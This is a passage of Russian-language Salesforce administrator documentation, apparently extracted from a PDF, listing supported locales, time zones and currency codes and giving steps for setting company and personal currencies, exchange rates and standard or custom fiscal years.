Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Фамилия
Имя

1.234,5606:0016:30
28/02/2008

Вьетнамский
донг: VND

vi_VNВьетнамский
(Вьетнам)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:0028/02/2008
16:30

Британский
фунт
стерлингов:
GBP

cy_GBУэльский
(Великобритания)

Город,
Область

371
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 Àár  28/02/2008
4:30 PM

Франк КФА
(BCEAO): XOF

yo_BJЙоруба
(Бенин)

Город,
Область
Почтовый
индекс

Страна

СМ. ТАКЖЕ:

Общие сведения о языке, регионе и валюте
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Поддерживаемые часовые пояса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Database.com Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сведений о
компании:
• «Просмотр настройки и

конфигурации»

Для изменения сведений о
компании:
• «Настройка

приложения»

Доступные параметры
настройки определяются
используемой версией
Salesforce.

Списокподдерживаемыхчасовыхпоясовикодов Salesforceдоступеннастраницеличных
параметров.

1. В разделе личных параметров войдите в раздел «Часовой пояс» в поле «Быстрый
поиск», затем выберите «Язык и часовой пояс». Нет результатов? Введите строку
«Личные сведения» вполе «Быстрый поиск» ивыберитепункт «Личныесведения».
Затем нажмите кнопку «Правка».

2. Чтобы просмотреть список поддерживаемых часовых поясов, воспользуйтесь
раскрывающимся списком «Часовой пояс».

Ниже перечислены часовые пояса и коды, поддерживаемые системой Salesforce.

Имя часового поясаКод часового пояса

Острова Лайн Время (Тихий
океан/Киритимати)

GMT+14:00

Время Финисовых островов (Тихий
океан/Эндербери)

GMT+13:00

Тонга (Тихий океан/Тонгатапу)GMT+13:00

Стандартное время острова Чатем (Тихий
океан/Чатем)

GMT+12:45

Стандартное время Новой Зеландии
(Тихий океан/Окленд)

GMT+12:00

Фиджи (Тихий океан/Фиджи)GMT+12:00

Петропавловск-Камчатский
(Азия/Камчатка)

GMT+12:00

Норфолк (Тихий океан/Норфолк)GMT+11:30

Летнее время острова Лорд-Хау
(Австралия/Лорд-Хау)

GMT+11:00

Соломоновы острова (Тихий
океан/Гуадалканал)

GMT+11:00

Австралийское центральное стандартное
время (Австралия/Аделаида)

GMT+10:30

Австралийское стандартное восточное
время (НовыйЮжный Уэльс)
(Австралия/Сидней)

GMT+10:00

Австралийское восточное стандартное
время (Квинсленд) (Австралия/Брисбен)

GMT+10:00

Австралийское центральное стандартное
время (Северные территории)
(Австралия/Дарвин)

GMT+09:30
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Имя часового поясаКод часового пояса

Стандартное время Кореи (Азия/Сеул)GMT+09:00

Стандартное время Японии (Азия/Токио)GMT+09:00

Гонконг (Азия/Гонконг)GMT+08:00

Малайзия (Азия/Куала-Лумпур)GMT+08:00

Филиппины (Азия/Манила)GMT+08:00

Стандартное время Китая (Азия/Шанхай)GMT+08:00

Сингапур (Азия/Сингапур)GMT+08:00

Стандартное время Китая (Азия/Тайбэй)GMT+08:00

Австралийское западное стандартное время
(Австралия/Перт)

GMT+08:00

Индокитай (Азия/Бангкок)GMT+07:00

Индокитай (Азия/Хошимин)GMT+07:00

Западное индонезийское время (Азия/Джакарта)GMT+07:00

Мьянма (Азия/Рангун)GMT+06:30

Бангладеш (Азия/Дакка)GMT+06:00

Непал (Азия/Катманду)GMT+05:45

Стандартное время Индии (Азия/Коломбо)GMT+05:30

Стандартное время Индии (Азия/Колката)GMT+05:30

Пакистан (Азия/Карачи)GMT+05:00

Узбекистан (Азия/Ташкент)GMT+05:00

Екатеринбург (Азия/Екатеринбург)GMT+05:00

Афганистан (Азия/Кабул)GMT+04:30

Азербайджанское летнее время (Азия/Баку)GMT+04:00

Стандартное время Персидского залива (Азия/Дубай)GMT+04:00

Грузия (Азия/Тбилиси)GMT+04:00

Армения (Азия/Ереван)GMT+04:00

Летнее время Ирана (Азия/Тегеран)GMT+03:30

Восточная Африка (Африка/Найроби)GMT+03:00

Стандартное время полуострова Аравия (Азия/Багдад)GMT+03:00

Стандартное время полуострова Аравия (Азия/Кувейт)GMT+03:00

Стандартное время полуострова Аравия (Азия/Эр-Рияд)GMT+03:00
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Имя часового поясаКод часового пояса

Московское стандартное время (Европа/Минск)GMT+03:00

Московское стандартное время (Европа/Москва)GMT+03:00

Восточно-европейское летнее время (Африка/Каир)GMT+03:00

Восточно-европейское летнее время (Азия/Бейрут)GMT+03:00

Летнее время Израиля (Азия/Иерусалим)GMT+03:00

Восточно-европейское летнее время (Европа/Афины)GMT+03:00

Восточно-европейское летнее время (Европа/Бухарест)GMT+03:00

Восточно-европейское летнее время (Европа/Хельсинки)GMT+03:00

Восточно-европейское летнее время (Европа/Стамбул)GMT+03:00

Стандартное времяЮАР (Африка/Йоханнесбург)GMT+02:00

Центрально-европейскоелетнеевремя (Европа/Амстердам)GMT+02:00

Центрально-европейское летнее время (Европа/Берлин)GMT+02:00

Центрально-европейскоелетнеевремя (Европа/Брюссель)GMT+02:00

Центрально-европейское летнее время (Европа/Париж)GMT+02:00

Центрально-европейское летнее время (Европа/Прага)GMT+02:00

Центрально-европейское летнее время (Европа/Рим)GMT+02:00

Западно-европейское летнее время (Европа/Лиссабон)GMT+01:00

Центрально-европейское время (Африка/Алжир)GMT+01:00

Британское летнее время (Европа/Лондон)GMT+01:00

Кабо-Верде (Атлантический океан/Кабо-Верде)GMT–01:00

Западно-европейское время (Африка/Касабланка)GMT+00:00

Ирландское летнее время (Европа/Дублин)GMT+00:00

Гринвич (GMT)GMT+00:00

Восточная Гренландия, летнее время
(Америка/Скорсбизунд)

GMT–00:00

Азорские острова, летнее время (Атлантический
океан/Азорские острова)

GMT–00:00

Стандартное время островаЮжная Георгия
(Атлантический океан/Южная Георгия)

GMT–02:00

Летнее время острова Ньюфаундленд
(Америка/Сент-Джонс)

GMT–02:30

Летнее время Бразилии (Америка/Сан-Паулу)GMT–03:00
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Имя часового поясаКод часового пояса

Аргентина (Америка/Аргентина/Буэнос-Айрес)GMT–03:00

Летнее время Чили (Америка/Сантьяго)GMT–03:00

Атлантическое летнее время (Америка/Галифакс)GMT–03:00

Атлантическоестандартноевремя (Америка/Пуэрто-Рико)GMT–04:00

Атлантическое летнее время (Атлантический
океан/Бермуды)

GMT–04:00

Венесуэла (Америка/Каракас)GMT–04:30

Восточное дневное время
(Америка/Индиана/Индианаполис)

GMT–04:00

Восточное летнее время (Америка/Нью-Йорк)GMT–04:00

Колумбия (Америка/Богота)GMT–05:00

Перу (Америка/Лима)GMT–05:00

Восточное стандартное время (Америка/Панама)GMT–05:00

Центральное летнее время (Америка/Мехико)GMT–05:00

Центральное летнее время (Америка/Чикаго)GMT–05:00

Центральное стандартное время (Америка/Сальвадор)GMT–06:00

Горное летнее время (Америка/Денвер)GMT–06:00

Горное стандартное время (Америка/Мазатлан)GMT–06:00

Горное стандартное время (Америка/Феникс)GMT–07:00

Тихоокеанское летнее время (Америка/Лос-Анджелес)GMT–07:00

Тихоокеанское летнее время (Америка/Тихуана)GMT–07:00

Стандартное время Питкерн (Тихий океан/Питкерн)GMT–08:00

Летнее время Аляски (Америка/Анкоридж)GMT–08:00

Гамбир (Тихий океан/Гамбир)GMT–09:00

Гавайско-алеутское стандартное время (Америка/Адак)GMT–9:00

Маркизы (Тихий океан/Маркизы)GMT–09:30

Гавайско-алеутское стандартное время (Тихий
океан/Гонолулу)

GMT–10:00

Остров Ниуэ (Тихий океан/Ниуэ)GMT–11:00
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Имя часового поясаКод часового пояса

Стандартное время Самоа (Тихий океан/Паго-Паго)GMT–11:00

СМ. ТАКЖЕ:

Общие сведения о языке, регионе и валюте

Установка личной валюты или валюты организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра валют:
• «Просмотр настройки и

конфигурации»

Для изменения валют:
• «Настройка

приложения»

Если у вас в организации используется только один вид валюты, вы можете установить
валюту по умолчанию для вашей организации. Организации, в которых используется
несколько валют, не имеют валюты по умолчанию. Вместо этого измените вашу
корпоративную или личную валюту.

Установка локальных параметров валюты
Еслиувасворганизациииспользуетсятолькоодинвидвалюты, выможетеустановить
валюту по умолчанию.

Установка корпоративной валюты
Ворганизациях смножествомвалют установите корпоративнуювалюту в значение,
соответствующее валюте, в которой главный офис предоставляет отчетность о
выручке. Все курсы обмена основываются на валюте компании.

Установка личной валюты
В организациях, в которых используется несколько валют, пользователи могут
настроить собственную валюту, отличную от корпоративной.

СМ. ТАКЖЕ:

Общие сведения о языке, регионе и валюте

Изменение курсов обмена

Поддерживаемые валюты

Поддерживаемые регионы
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Установка локальных параметров валюты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра валют:
• «Просмотр настройки и

конфигурации»

Для изменения валют:
• «Настройка

приложения»

Если у вас в организации используется только один вид валюты, вы можете установить
валюту по умолчанию.

1. Настройка поиска сведений о компании.

2. Нажмите кнопку «Правка» на странице «Сведения о компании».

3. Выберите локальные настройки из раскрывающегося списка.

4. Нажмите кнопку «Сохранить».

Установка корпоративной валюты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра валют:
• «Просмотр настройки и

конфигурации»

Для изменения валют:
• «Настройка

приложения»

В организациях с множеством валют установите корпоративную валюту в значение,
соответствующеевалюте, в которой главныйофиспредоставляетотчетностьо выручке.
Все курсы обмена основываются на валюте компании.

Когда Служба поддержки включает использование нескольких валют, корпоративная
валюта устанавливаетсяв значение, указанноенаИнформационнойстраницекомпании
в разделе «Настройка». Вы можете изменить корпоративную валюту.

1. Настройка поиска для управления валютами.

2. На странице «Валюта» щелкните элемент «Изменить корпоративную».

3. Выберите валюту из раскрывающегося списка «Новая корпоративная валюта».

4. Нажмите кнопку «Сохранить».
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Установка личной валюты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сведений о
компании:
• «Просмотр настройки и

конфигурации»

Для изменения сведений о
компании:
• «Настройка

приложения»

Доступные параметры
настройки определяются
используемой версией
Salesforce.

Ворганизациях, в которыхиспользуетсянескольковалют, пользователимогутнастроить
собственную валюту, отличную от корпоративной.

1. В разделе личных параметров войдите в раздел «Часовой пояс» в поле «Быстрый
поиск», затем выберите «Язык и часовой пояс». Нет результатов? Введите строку
«Личные сведения» вполе «Быстрый поиск» ивыберитепункт «Личныесведения».

2. Выберите валюту в раскрывающемся списке «Валюта».

3. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce
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Изменение курсов обмена

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра валют:
• «Просмотр настройки и

конфигурации»

Для изменения валют:
• «Настройка

приложения»

Изменениефиксированных курсов обмена позволяет управлять курсами обмена между
активными или неактивными валютами и валютой компании. Данные курсы обмена
являются статическими и применяются ко всем полям валюты, используемым в
организации. Кромеданныхкурсовобмена, некоторыеорганизациимогутиспользовать
датированные курсы обмена для возможностей и продуктов возможностей.

1. Настройка поиска для управления валютами.

2. Если включена функция расширенного управления валютами, щелкните
«Управление валютами».

3. Щелкните «Редактироватькурсы» в списке «Активные валюты» или «Неактивные
валюты».

4. Введите курс обмена между каждой валютой и валютой компании.

5. Нажмите кнопку «Сохранить».

При изменении курсов обмена обновление сумм в валюте выполняется посредством
новых курсов. Предыдущие курсы обмена не сохраняются. Обновление возможностей,
прогнозов и других стоимостей выполняется посредством текущего курса обмена.

Если организация использует функцию расширенного управления валютами, то
пользователимогут также управлять датированнымикурсамиобмена дляполей валюты
в возможностях и продуктах возможностей.

Прим.:

• Увеличениеилиснижениедоходанаосновеколебаниякурсоввалютнедоступно
для отслеживания.

• Изменениекурсаобменавалютинициируетпакетныйпересчетполейсводного
резюмирования. Этот перерасчет может занять до 30 минут, в зависимости от
количества измененных записей.

• Курс обмена валютможно также изменить с использованием API. Однако, если
выполняется другой пакетный перерасчет поля сводного резюмирования для
этой же валюты, срок выполнения этого задания повлияет на выполнение
запущенного вами задания. Если запросить изменение курса обмена через API
во время выполнения схожего задания, происходит следующее.

– Если другое задание перерасчета этого поля курса обмена запущено менее
24 часов назад, новое изменение курса обмена не сохраняется. Можно
повторить попытку позже или изменить курс обмена через «Управление
валютами» в меню «Настройка». При выполнении изменения через меню
«Настройка» будет остановлено предыдущее задание и запущен новый
перерасчет.

– Если другое задание перерасчета запущено более чем 24 часа назад, можно
сохранитьизменениекурсаобмена валют, послечегобудет запущеноновое
задание.
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Проверить состояние задания перерасчета можно на странице «Фоновые задания» в меню «Настройка».

СМ. ТАКЖЕ:

Установка личной валюты или валюты организации

Общие сведения о функции расширенного управления валютами

Управление мультивалютой

Активация и отключение валюты

Поддерживаемые валюты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Database.com Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сведений о
компании:
• «Просмотр настройки и

конфигурации»

Для изменения сведений о
компании:
• «Настройка

приложения»

Доступные параметры
настройки определяются
используемой версией
Salesforce.

Ниже перечислены валюты, поддерживаемые системой Salesforce.

Код валютыИмя валюты

AEDДирхам ОАЭ

AFNАфгани, Афганистан (новый)

ALLАлбанский лек

AMDАрмянский драм

ANGГульден Антильских островов

AOAАнгольская кванза

ARSАргентинский песо

AUDАвстралийский доллар

AWGАрубский флорин

AZNНовый азербайджанский манат

BAMКонвертируемые марки

BBDБарбадосский доллар

BDTБангладешский така

BGNБолгарский лев

BHDБахрейнский динар

BIFБурундийскийфранк

BMDБермудский доллар

BNDБрунейский доллар

BOBБоливийский боливиано

BOVБоливийскийМвдол

BRBБразильский крузейру (старый)
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Код валютыИмя валюты

BRLБразильский реал

BSDБагамский доллар

BTNНгултрум Бутана

BWPБотсванский пула

BYRБелорусский рубль

BZDДоллар Белиза

CADКанадский доллар

CDFКонголезский франк

CHFШвейцарский франк

CLFЧилийская денежная единица

CLPЧилийское песо

CNYКитайскийюань

COPКолумбийское песо

CRCКостариканский колон

CUPКубинское песо

CVEЭскудо Кабо-Верде

CZKЧешская крона

DJFДжибутийскийфранк

DKKДатская крона

DOPДоминиканское песо

DZDАлжирский динар

EEKЭстонская крона

EGPЕгипетский фунт

ERNНакфа Эритреи

ETBЭфиопский быр

EURЕвро

FJDФиджийский доллар

FKPФунт Фолклендских островов

GBPБританский фунт стерлингов

GELГрузинский лари
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Код валютыИмя валюты

GHSГанский седи

GIPГибралтарский фунт стерлингов

GMDДаласи Гамбии

GNFГвинейскийфранк

GTQКетсаль Гватемалы

GYDГайанский доллар

HKDГонконгский доллар

HNLЛемпира Гондураса

HRKХорватская куна

HTGГурд Гаити

HUFВенгерский форинт

IDRИндонезийская рупия

ILSИзраильскийшекель

INRИндийская рупия

IQDИракский динар

IRRИранский риал

ISKИсландская крона

JMDЯмайский доллар

JODИорданский динар

JPYЯпонская йена

KESКенийскийшиллинг

KGSКиргизский сом

KHRКамбоджийский риель

KMFФранк Коморских островов

KPWСеверокорейская вона

KRWКорейская вона

KWDКувейтский динар

KYDДоллар Каймановых островов

KZTКазахстанский тенге

LAKЛаосский кип
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Код валютыИмя валюты

LBPЛиванский фунт

LKRРупияШри-Ланки

LRDЛиберийский доллар

LSLЛоти Лесото

LYDЛивийский динар

MADМарокканский дирхам

MDLМолдавский лей

MGAМалагасийский ариари

MKDМакедонский динар

MMKКьят Мьянмы

MNTМонгольский тугрик

MOPПатака Макао

MROМавританская угилья

MURМаврикийская рупия

MVRМальдивская руфия

MWKМалавийская квача

MXNМексиканское песо

MXVМексиканская денежная единица

MYRМалайзийский ринггит

MZNНовый мозамбикский метикал

NADНамибийский доллар

NGNНигерийская найра

NIOКордоба Никарагуа

NOKНорвежская крона

NPRНепальская рупия

NZDНовозеландский доллар

OMRОманский риал

PABПанамский бальбоа

PENНовый соль Перу

PGKКина Папуа-Новой Гвинеи
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Код валютыИмя валюты

PHPФилиппинское песо

PKRПакистанская рупия

PLNПольский злотый

PYGПарагвайский гуарани

QARКатарский риал

RONРумынский лей (новый)

RSDСербский динар

RUBРоссийский рубль

RWFРуандийскийфранк

SARСаудовский риал

SBDДоллар Соломоновых островов

SCRСейшельская рупия

SDGСуданский фунт

SEKШведская крона

SGDСингапурский доллар

SHPФунт о-ва Св. Елены

SLLЛеоне Сьерра-Леоне

SOSСомалийскийшиллинг

SRDСуринамский доллар

SSPЮжносуданскийфунт

STDДобра Сан-Томе

SYPСирийский фунт

SZLЛилангени Свазиленда

THBТайский бат

TJSТаджикский сомони

TMTТуркменский манат (новый)

TNDТунисский динар

TOPПаанга Тонга

TRYТурецкая лира (новая)

TTDДоллар Тринидад и Тобаго
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Код валютыИмя валюты

TWDТайваньский доллар

TZSТанзанийскийшиллинг

UAHУкраинская гривна

UGXУгандийскийшиллинг

USDДоллар США

UYUУругвайский новый песо

UZSУзбекский сум

VEFВенесуэльский боливар фуэртэ

VNDВьетнамский донг

VUVВату Вануату

WSTТала Самоа

XAFФранк КФА (BEAC)

XCDВосточно-карибский доллар

XOFФранк КФА (BCEAO)

XPFФранк тихоокеанских территорий Франции

YERЙеменский риал

ZARРандЮжно-Африканской республики

ZMKЗамбийская квача (новая)

ZWLДоллар Зимбабве

СМ. ТАКЖЕ:

Установка личной валюты или валюты организации
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Финансовые года

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения или
редактирования
финансового года:
• «Настройка

приложения»

Для просмотра
финансового года:
• «Просмотр настройки и

конфигурации»

Определите финансовый год, который отражает ваши бизнес-потребности.

Если финансовый год повторяет структуру григорианского календаря, но начинается
не в январе, то финансовый год может быть задан путем определения стандартного
финансового года, начинающегося с другого месяца. Если финансовый год повторяет
другуюструктуру, отличнуюотгригорианскогокалендаря, тонастраиваемыйфинансовый
год может быть определен в соответствии с текущими бизнес-требованиями.

Независимо от использования стандартного или настраиваемого финансового года,
организации могут быть заданы отдельные финансовые года. Данные определения
финансового года позволяют использовать финансовые периоды во всех областях
системы Salesforce, включая отчеты, возможности и прогнозы.

Совет: Рекомендуемобновлятьрасписанияпродуктаприсозданииилиизменении
настраиваемого финансового года.

Стандартные финансовые года
Стандартныефинансовыегода — этопериоды, повторяющиеструктуру григорианского
календаря, но начинающиеся в первый день любого месяца года.

Настраиваемые финансовые года
Система Salesforce позволяет использовать настраиваемые финансовые года для
определения настраиваемых финансовых периодов компаний, которые разбивают
финансовыегода, кварталыинеделивсоответствииссобственнымитребованиямифинансовогопланирования. Например,
13-недельный квартал, состоящий из трех периодов (4-4-5 недель), может использоваться вместо календарных месяцев.

Прииспользованииобычнойструктурыфинансового года (например, 4-4-5 или 13 недель) финансовыйгодопределяется
путем выбора даты начала ишаблона. Если нужная структурафинансового года отсутствует вшаблонах, шаблонможно
изменить в соответствии с бизнес-потребностями. Например, при использовании трех финансовых кварталов года
(триместров) вместочетырехкварталымогутбытьудаленыилиизмененывсоответствиистекущимибизнес-требованиями.

Наименование настраиваемых финансовых периодов может выполняться на основе принятых стандартов. Например,
финансовому периоду может быть назначено имя «П2» или «Февраль».

Финансовые года могут изменяться при каждом изменении их определения. Например, чтобы синхронизировать
настраиваемыйфинансовый год со стандартным календарем в високосном году, добавьте дополнительную неделю.
Изменения, внесенные в структуру финансового года, вступают в силу после сохранения. При использовании
прогнозирования система Salesforce повторно вычисляет прогнозы во время сохранения изменений для финансового
года.

Рекомендации по активации настраиваемых финансовых лет
Прежде чем активировать настраиваемые финансовые года, просмотрите ключевые моменты ниже.

• Включениенастраиваемыхфинансовыхлетявляетсянеобратимым. Однакоеслипотребуетсявернутьсякстандартному
финансовому году, пользователь может определить настраиваемые финансовые года, повторяющие структуру
григорианского календаря, как стандартные финансовые года Salesforce.

• Определения финансового года не создаются автоматически. Определите настраиваемыйфинансовый год для
каждого года проведения бизнес-деятельности.
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• Включение или определение настраиваемых финансовых лет влияет на прогнозы, отчеты и планы продаж.

– После включения настраиваемых финансовых лет, когда пользователь определит первый настраиваемый
финансовый год, все существующие прогнозы, журнал прогноза и поправки прогноза от начального периода
этогогодаидалеебудутудалены. Прогнозыдляпериодов, предшествующихпервомунастраиваемомуфинансовому
году, будут сохранены и доступны в обычном порядке.

– В последующем при определении новогофинансового года любые существующие прогнозы, журнал прогноза,
поправки прогноза и планы продаж, относящиеся к соответствующему стандартному финансовому году, будут
удалены.

– При использовании настраиваемых прогнозов отчеты по прогнозам для периода, следующего за последним
определеннымфинансовым годом, могут быть объединены только по дате, но не по периоду.

– В настраиваемых прогнозах, чтобы использовать только самые последние стоимости, рекомендуем запускать
отчетпопрогнозампослепросмотрапрогнозадляпериода, добавленноговотчет. Прииспользованиисовместных
прогнозов отсутствует необходимость в просмотре прогноза до запуска отчетов.

• Столбцыфинансовых периодов будут недоступны в отчетах по потенциальным клиентам, потенциальным сделкам
с продуктами или потенциальным сделкам с расписаниями.

• Списковые представления возможностей не будут содержать столбцыфинансовых периодов.

• Если организация поддерживает настраиваемые финансовые года, то функции даты FISCAL_MONTH(),
FISCAL_QUARTER() и FISCAL_YEAR() не могут использоваться в SOQL.

СМ. ТАКЖЕ:

Настройка финансового года

Настройка структурыфинансового года

Настройка меток финансового года

Выбор шаблона настраиваемого финансового года

Определение настраиваемого финансового года
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Настройка финансового года

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
финансового года:
• «Просмотр настройки и

конфигурации»

Для изменения
финансового года:
• «Настройка

приложения»

Если компания использует структуру григорианского календарного года, то начальный
месяц финансового года может быть изменен посредством стандартных финансовых
лет. При несоблюдении стандартного финансового года компания может включить
настраиваемые финансовые года, позволяющие определять более сложную структуру
финансового года.

Внимание:

• Пользователи функции «Настраиваемое прогнозирование». Изменение
начального финансового месяца может инициировать потерю всех планов
продаж, журнала прогнозов и переопределений. Чтобы сохранить данные,
выберите месяц, который ранее использовался в качестве первого месяца
квартала. Например, замена начального месяца «Апрель» месяцем «Май»,
который не является начальным месяцем финансового квартала, инициирует
потерюданных. Однако, данныесохраняются, еслиначальныймесяц «Апрель»
заменяется месяцем «Июль», который также является начальным месяцем
финансового квартала.

• Пользователи функции «Совместные прогнозы». Сведения о плане продаж и
корректировках удаляются при изменении начального месяца финансового
года.

1. Создайте резервную копию текущих данных и выполните ее экспорт в набор
CSV-файлов.

Совет: Экспортируйте резервную копию данных, так как изменение
финансового года инициирует смещение финансовых периодов. Данное
изменение повлияет на возможности и прогнозы всей организации.

2. В разделе «Настройка» введите «Финансовый год» в поле «Быстрый поиск», затем выберите «Финансовый год».

3. Выберите «Стандартный финансовый год» или «Настраиваемый финансовый год».

• Для создания стандартногофинансового года выберите начальныймесяци укажите, будет имяфинансового года
основываться на названии года, в котором он начинается или заканчивается.

Чтобыприменитьпараметрыновогофинансовогогодак текущимпрогнозамипланампродаж, установитефлажок
«Применить ко всем прогнозам и планам продаж». Наличие данного параметра определяется заданными
параметрами прогноза.

• Для создания настраиваемого финансового года выберите «Включить настраиваемыефинансовые годы»,
нажмитеOKиукажитефискальныйгод. См. раздел «Определениенастраиваемогофинансового года».на странице
394

Внимание: Включение настраиваемыхфинансовых лет является необратимым. Включение настраиваемых
финансовыхлет влияетнаотчеты, прогнозы, планыпродажидругиеданные, содержащиедаты. Рекомендуем
включатьнастраиваемыефинансовые года толькоприполномпониманиииподготовкековсемвозможным
последствиям. Дополнительную информацию о влиянии см. в разделе «Финансовые годы».

4. Нажмите кнопку «Сохранить».
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Настройка структуры финансового года

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения или
редактирования
финансового года:
• «Настройка

приложения»

Для просмотра
финансового года:
• «Просмотр настройки и

конфигурации»

Чтобы изменить структуру настраиваемого финансового года, доступную в шаблонах,
измените сведения в определении настраиваемого финансового года.

Настраиваемыйфинансовый год позволяет:

• Настраивать метки периодов

• Восстанавливать шаблон финансового года

• Добавлять или удалять финансовые периоды

• Изменять продолжительность финансовой недели

Внимание: Изменениепродолжительностифинансового года влияетнапрогнозы
и отчеты. Дополнительную информацию о влиянии см. в разделе «Финансовые
годы».

Настройка меток периодов
Возможноизменениеметокилиименпериодовфинансового года. Впрогнозировании
иотчетноститакжеиспользуютсяметкиэтихпериодов. Дополнительнуюинформацию
об их изменении см. в разделе «Настройка меток финансового года» на странице 391.

Восстановление шаблона финансового года
Чтобы восстановить настраиваемыйшаблон финансового года, выберите нужный
шаблон в раскрывающемся списке «Сбросить структуру финансового года».

Прим.: Восстановление структурыфинансового года инициирует удаление всех
настроек, внесенных в финансовый год.

Добавление или удаление финансовых периодов
Структурафинансового года позволяет добавлять или удалятьфинансовые периоды (например, кварталы, периоды или
недели).

Чтобы добавить финансовые периоды, выполните указанные ниже действия.

1. Последовательно выберите пункты «Профиль компании» > «Финансовый год» в меню «Настройка».

2. Щелкните ссылку «Правка» напротив нужного финансового года.

3. Разверните раздел «Расширенные настройки».

4. Установите флажок напротив периода, предшествующего новому периоду. Например, чтобы добавить квартал и
назначить его вторым кварталом, установите флажок напротив первого квартала.

5. Щелкните «Вставить».

Прим.: Максимальное количество финансовых периодов: 250.

Чтобы удалить финансовый период, выполните указанные ниже действия.

1. Последовательно выберите пункты «Профиль компании» > «Финансовый год» в меню «Настройка».

2. Щелкните ссылку «Правка» напротив нужного финансового года.

3. Разверните раздел «Расширенные настройки».
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4. Установите флажок напротив нужного периода.

5. Нажмите кнопку «Удалить».

Прим.: Рекомендуем оставлять как минимум один квартал, один период и одну неделю. При удалении
финансового периода или квартала также удаляются поправки прогноза и планы продаж за этот период или
квартал.

Изменение продолжительности финансовой недели
Чтобы изменить продолжительность финансового периода, выполните указанные ниже действия.

1. Последовательно выберите пункты «Профиль компании» > «Финансовый год» в меню «Настройка».

2. Щелкните ссылку «Правка» напротив нужного финансового года.

3. Разверните раздел «Расширенные настройки».

4. Выберите продолжительность финансовой недели в раскрывающемся списке «Продолжительность».

Прим.: Чтобыизменить продолжительностьфинансового периода или квартала, вставьте или удалите недели,
либо измените продолжительность недель, составляющих период или квартал.

По завершении настроек просмотрите определение финансового года. Не забывайте сохранять внесенные изменения!

Настройка меток финансового года

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения или
редактирования
финансового года:
• «Настройка

приложения»

Для просмотра
финансового года:
• «Просмотр настройки и

конфигурации»

Настроить метки финансовых лет можно двумя способами: путем называния схем и
выбора префикса или путем настройки раскрывающегося списка финансового года.

Выбор префиксов и схем наименования финансовых лет
Схема назначения меток, которая должна применяться к настраиваемомуфинансовому
году, может быть выбрана при его определении. Каждый тип финансового периода
(квартал, период или неделя) поддерживает список схем назначения меток, доступных
для выбора.

Схема имен кварталов

Пронумеровано по году
Данный параметр позволяет добавлять имя квартала в метку квартала. Метка
квартала — это комбинация префикса и номера квартала. Например, при
использованиипрефиксаквартала «К» метка «К3» соответствуеттретьемукварталу.
Дополнительнуюинформациюонастройкепрефиксакварталасм. вопределении
«Префикс квартала» на странице 392. По умолчанию номер каждого квартала
соответствует егопорядковомуномеру (метка «1» соответствуетпервомукварталу),
номожетбытьизмененпутемвыборадругогозначениявраскрывающемсясписке
сведений о квартале.

Настраиваемые имена кварталов
Данный параметр позволяет задать метке квартала любое имя. Метке квартала
присваивается имя, выбранное в поле «Имя квартала». По умолчанию порядок
отображения имен кварталов соответствует порядку раскрывающегося списка,
но может быть изменен путем выбора другого значения в раскрывающемся списке сведений о квартале.
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Схема имен периодов

Пронумеровано по году
Данный параметр позволяет задавать метку периода на основе его положения в году. Метка периода — это
комбинация префикса и номера периода. Номера периодов не сбрасываются в каждом квартале. Например, при
использованиипрефиксапериода «П» метка «П6» соответствуетшестомупериоду. Дополнительнуюинформацию
онастройкепараметра «Префикс периода» см. вопределении«Префикс периода»настранице392. Поумолчанию
номер каждого периода соответствует его порядковому номеру (метка «1» соответствует первому периоду), но
может быть изменен путем выбора другого значения в раскрывающемся списке сведений о периоде.

